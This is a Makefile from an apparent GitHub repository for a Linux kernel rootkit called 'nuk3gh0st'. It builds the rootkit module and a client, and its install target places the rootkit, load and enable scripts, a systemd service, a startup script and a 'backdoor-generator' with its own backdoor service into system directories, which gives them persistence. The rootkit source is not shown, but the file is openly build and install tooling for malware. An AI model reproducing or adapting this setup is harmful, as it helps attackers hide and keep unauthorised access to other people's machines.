-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathMakefile
40 lines (40 loc) · 1.43 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
.PHONY: all
obj-m := rootkit.o
KERNEL_DIR = /lib/modules/$(shell uname -r)/build
PWD = $(shell pwd)
all: rootkit client
rootkit:
$(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD)
client:
gcc -o nuk3gh0st nuk3gh0st.c --std=gnu99 -Wall -Wextra -pedantic
install:
-mkdir /usr/share/nuk3gh0st
-cp nuk3gh0st /usr/bin/nuk3gh0st
-cp rootkit.ko /usr/share/nuk3gh0st/rootkit.ko
-cp load-nuk3gh0st /usr/bin/load-nuk3gh0st
-cp unload-nuk3gh0st /usr/bin/unload-nuk3gh0st
-cp enable-nuk3gh0st /usr/bin/enable-nuk3gh0st
-cp disable-nuk3gh0st /usr/bin/disable-nuk3gh0st
-cp nuk3gh0st.startup /usr/share/nuk3gh0st/nuk3gh0st.startup
-cp nuk3gh0st.service /usr/share/nuk3gh0st/nuk3gh0st.service
-cp nuk3gh0st.conf /usr/share/nuk3gh0st/nuk3gh0st.conf
-cp backdoor-generator /usr/bin/backdoor-generator
-cp backdoor.service /usr/share/nuk3gh0st/backdoor.service
-cp backdoor.conf /usr/share/nuk3gh0st/backdoor.conf
chmod +x /usr/bin/load-nuk3gh0st
chmod +x /usr/bin/unload-nuk3gh0st
chmod +x /usr/bin/enable-nuk3gh0st
chmod +x /usr/bin/disable-nuk3gh0st
chmod +x /usr/share/nuk3gh0st/nuk3gh0st.startup
chmod +x /usr/bin/backdoor-generator
chmod +x /usr/share/nuk3gh0st/backdoor.service
uninstall:
-rm /usr/bin/nuk3gh0st
-rm /usr/bin/load-nuk3gh0st
-rm /usr/bin/unload-nuk3gh0st
-rm /usr/bin/enable-nuk3gh0st
-rm /usr/bin/disable-nuk3gh0st
-rm /usr/bin/backdoor-generator
-rm -rf /usr/share/nuk3gh0st
clean:
-rm -rf *.o *.ko *.symvers *.mod.* *.order nuk3gh0st